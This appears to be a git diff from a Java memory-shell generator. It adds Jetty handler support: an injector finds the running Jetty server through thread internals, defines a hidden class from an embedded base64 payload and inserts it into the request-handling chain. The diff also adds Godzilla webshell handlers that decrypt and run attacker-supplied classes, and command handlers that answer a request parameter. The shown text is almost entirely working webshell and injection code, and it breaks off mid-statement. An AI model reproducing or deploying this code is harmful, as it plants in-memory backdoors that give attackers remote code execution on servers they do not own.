diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 81a2c371..7efb8249 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -69,7 +69,9 @@ public class ServerFactory { .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) - .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class) + .addShellClass(HANDLER, GodzillaJettyHandler.class) + .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class) + .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) @@ -140,7 +142,9 @@ public class ServerFactory { .addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) - .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class) + .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class) + .addShellClass(HANDLER, CommandJettyHandler.class) + .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 542d6bf2..76da2297 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -19,13 +19,18 @@ public class ShellType { public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; + public static final String HANDLER = "Handler"; + public static final String JETTY6_HANDLER = "Jetty6Handler"; + public static final String JETTY_EE_HANDLER = "JettyEEHandler"; + public static final String JAKARTA_HANDLER = JAKARTA + HANDLER; + public static final String NETTY_HANDLER = "NettyHandler"; public static final String AGENT = "Agent"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; - public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; + public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index 296e2568..efe33f3e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.server.AbstractServer; +import com.reajason.javaweb.memshell.server.Jetty; import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; @@ -52,6 +53,11 @@ public abstract class ByteBuddyShellGenerator impleme builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion()); } + if (server instanceof Jetty + && (ShellType.HANDLER.equals(shellType) || ShellType.JAKARTA_HANDLER.equals(shellType))) { + builder = JettyHandlerGenerator.build(builder, shellConfig.getServerVersion()); + } + if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/JettyHandlerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/JettyHandlerGenerator.java new file mode 100644 index 00000000..3246ddc5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/JettyHandlerGenerator.java @@ -0,0 +1,85 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.buddy.ClassRenameVisitorWrapper; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; +import net.bytebuddy.pool.TypePool; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class JettyHandlerGenerator { + public static DynamicType.Builder build(DynamicType.Builder builder, String serverVersion) { + String superClassName = null; + DynamicType.Builder newBuilder = builder; + if (serverVersion != null) { + switch (serverVersion) { + case "6": + superClassName = "org/mortbay/jetty/handler/AbstractHandler"; + newBuilder = newBuilder.visit(new ClassRenameVisitorWrapper("org/eclipse/jetty/server", "org/mortbay/jetty")); + break; + case "7+": + superClassName = "org/eclipse/jetty/server/handler/AbstractHandler"; + break; + case "12": + superClassName = "org/eclipse/jetty/server/Handler$Abstract"; + break; + } + } + if (superClassName == null) { + throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion"); + } + String finalSuperClassName = superClassName; + return newBuilder.visit(new AsmVisitorWrapper.ForDeclaredMethods() { + @Override + public ClassVisitor wrap(TypeDescription instrumentedType, + ClassVisitor classVisitor, + Implementation.Context implementationContext, + TypePool typePool, + FieldList fields, + MethodList methods, + int writerFlags, + int readerFlags) { + return new ClassVisitor(Opcodes.ASM9, classVisitor) { + @Override + public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { + super.visit(version, access, name, signature, finalSuperClassName, interfaces); + } + + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (!name.equals("")) { + return mv; + } + return new MethodVisitor(Opcodes.ASM9, mv) { + @Override + public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { + if (opcode == org.objectweb.asm.Opcodes.INVOKESPECIAL && + "java/lang/Object".equals(owner) && + "".equals(name)) { + super.visitMethodInsn(opcode, finalSuperClassName, name, descriptor, isInterface); + } else { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + }; + } + }; + + } + }); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java index 97ab8e7b..011224af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java @@ -32,7 +32,13 @@ public class ValveGenerator { public static DynamicType.Builder build(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { String packageName = null; - if (serverVersion != null) { + if (shell instanceof Bes) { + packageName = BES_VALVE_PACKAGE; + } + if (shell instanceof TongWeb) { + if (serverVersion == null) { + throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion"); + } switch (serverVersion) { case "6": packageName = TONGWEB6_VALVE_PACKAGE; @@ -43,18 +49,14 @@ public class ValveGenerator { case "8": packageName = TONGWEB8_VALVE_PACKAGE; break; + default: + throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion"); } } - if (shell instanceof Bes) { - packageName = BES_VALVE_PACKAGE; + if (StringUtils.isNotBlank(packageName)) { + return builder.visit(new ValveRenameVisitorWrapper(packageName)); } - if (StringUtils.isEmpty(packageName)) { - if (shell instanceof TongWeb) { - throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion"); - } - return builder; - } - return builder.visit(new ValveRenameVisitorWrapper(packageName)); + return builder; } public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java new file mode 100644 index 00000000..c4c121f6 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java @@ -0,0 +1,232 @@ +package com.reajason.javaweb.memshell.injector.jetty; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ + +public class JettyHandlerInjector { + + private String msg = ""; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public JettyHandlerInjector() { + Object server = null; + try { + server = getServer(); + } catch (Throwable throwable) { + msg += "server error: " + getErrorMessage(throwable); + } + if (server != null) { + msg += ("server: [" + server + "] "); + try { + Object shell = getShell(server); + inject(server, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + System.out.println(msg); + } + + public void inject(Object server, Object handler) throws Exception { + Object nextHandler = getFieldValue(server, "_handler"); + if (handler.getClass().isAssignableFrom(nextHandler.getClass())) { + return; + } + setFieldValue(handler, "nextHandler", nextHandler); + setFieldValue(handler, "_server", server); + + setFieldValue(server, "_handler", handler); + + // jetty6 + try { + invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler}); + } catch (Throwable ignored) { + + } + // jetty 7/8/9/10/11/12 + try { + invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true}); + } catch (Throwable ignored) { + } + } + + @Override + public String toString() { + return msg; + } + + /** + * org.eclipse.jetty.server.Server + */ + private Object getServer() throws Exception { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry != null) { + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("HttpConnection")) { + return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); + } + } + } + } + } catch (Exception ignored) { + } + } + return null; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java index 11e5543c..8337ffcb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector; +import com.reajason.javaweb.memshell.injector.jetty.*; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; @@ -45,6 +42,8 @@ public class Jetty extends AbstractServer { .addInjector(JAKARTA_FILTER, JettyFilterInjector.class) .addInjector(SERVLET, JettyServletInjector.class) .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) + .addInjector(HANDLER, JettyHandlerInjector.class) + .addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java new file mode 100644 index 00000000..5037f4e8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import java.io.InputStream; +import java.io.OutputStream; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/5/15 + */ +public class CommandJettyAgentHandler { + private static String paramName; + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java index 9b78a261..78beb225 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -1,37 +1,35 @@ package com.reajason.javaweb.memshell.shelltool.command; +import org.eclipse.jetty.server.Handler; +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; +import org.eclipse.jetty.util.Callback; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; +import java.util.Scanner; + +import static java.nio.charset.StandardCharsets.UTF_8; /** * @author ReaJason - * @since 2025/5/15 + * @since 2025/11/29 */ public class CommandJettyHandler { private static String paramName; + private Handler nextHandler; - @Override - public boolean equals(Object obj) { - Object[] args = ((Object[]) obj); - Object baseRequest = null; - Object request = null; - Object response = null; - if (args.length == 4) { - Object arg4 = args[3]; - baseRequest = args[1]; - if (arg4 instanceof Integer) { - // jetty6 - request = args[1]; - response = args[2]; - } else { - request = args[2]; - response = args[3]; - } - } else { - // ee10 - request = args[0]; - response = args[1]; - } + public CommandJettyHandler() { + } + + public boolean handle(Object request, Object response) { try { String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); if (p == null || p.isEmpty()) { @@ -41,14 +39,7 @@ public class CommandJettyHandler { String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - if (baseRequest != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - } + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); return true; } } catch (Throwable e) { @@ -57,6 +48,51 @@ public class CommandJettyHandler { return false; } + // jetty12 + public boolean handle(Request request, Response response, Callback callback) throws Exception { + try { + Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8); + String p = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{paramName}); + if (p == null || p.isEmpty()) { + Object headers = invokeMethod(request, "getHeaders"); + p = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{paramName}); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + ByteBuffer content = UTF_8.encode(new Scanner(inputStream).useDelimiter("\\A").next()); + invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); + invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return nextHandler.handle(request, response, callback); + } + + // jetty6 + public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, request, response, dispatch); + } + } + + // jetty7+ + public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, baseRequest, request, response); + } + } + private String getParam(String param) { return param; } @@ -64,4 +100,35 @@ public class CommandJettyHandler { private InputStream getInputStream(String param) throws Exception { return null; } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java new file mode 100644 index 00000000..14e78112 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; + +/** + * @author ReaJason + */ +public class GodzillaJettyAgentHandler extends ClassLoader { + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; + + public GodzillaJettyAgentHandler() { + } + + public GodzillaJettyAgentHandler(ClassLoader z) { + super(z); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaJettyAgentHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + try { + Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + public byte[] x(byte[] s, boolean m) throws Exception { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java index bef4170e..146d88c9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -1,51 +1,42 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; +import org.eclipse.jetty.server.Handler; +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; +import org.eclipse.jetty.util.Callback; + import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; -import java.io.ByteArrayOutputStream; -import java.io.PrintStream; -import java.io.PrintWriter; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; + +import static java.nio.charset.StandardCharsets.UTF_8; /** * @author ReaJason + * @since 2025/11/29 */ -public class GodzillaJettyHandler extends ClassLoader { +public class GodzillaJettyHandler { private static String key; private static String pass; private static String md5; private static String headerName; private static String headerValue; private static Class payload; + private Handler nextHandler; public GodzillaJettyHandler() { } - public GodzillaJettyHandler(ClassLoader z) { - super(z); - } - - @Override - public boolean equals(Object obj) { - Object[] args = ((Object[]) obj); - Object baseRequest = null; - Object request = null; - Object response = null; - if (args.length == 4) { - Object arg4 = args[3]; - baseRequest = args[1]; - if (arg4 instanceof Integer) { - // jetty6 - request = args[1]; - response = args[2]; - } else { - request = args[2]; - response = args[3]; - } - } else { - // ee10 - request = args[0]; - response = args[1]; - } + public boolean handle(Object request, Object response) { try { String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { @@ -55,7 +46,7 @@ public class GodzillaJettyHandler extends ClassLoader { byte[] data = base64Decode(parameter); data = this.x(data, false); if (payload == null) { - payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + payload = reflectionDefineClass(data); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = payload.newInstance(); @@ -67,9 +58,6 @@ public class GodzillaJettyHandler extends ClassLoader { writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); } - if (baseRequest != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - } } catch (Throwable e) { e.printStackTrace(); writer.write(getErrorMessage(e)); @@ -82,6 +70,127 @@ public class GodzillaJettyHandler extends ClassLoader { return false; } + // jetty12 + public boolean handle(Request request, Response response, Callback callback) throws Exception { + try { + Object headers = invokeMethod(request, "getHeaders"); + String value = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{headerName}); + if (value != null && value.contains(headerValue)) { + StringWriter writer = new StringWriter(); + try { + Object parameters = Request.class.getMethod("getParameters", Request.class).invoke(null, request); + String parameter = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{pass}); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = reflectionDefineClass(data); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); + ByteBuffer content = 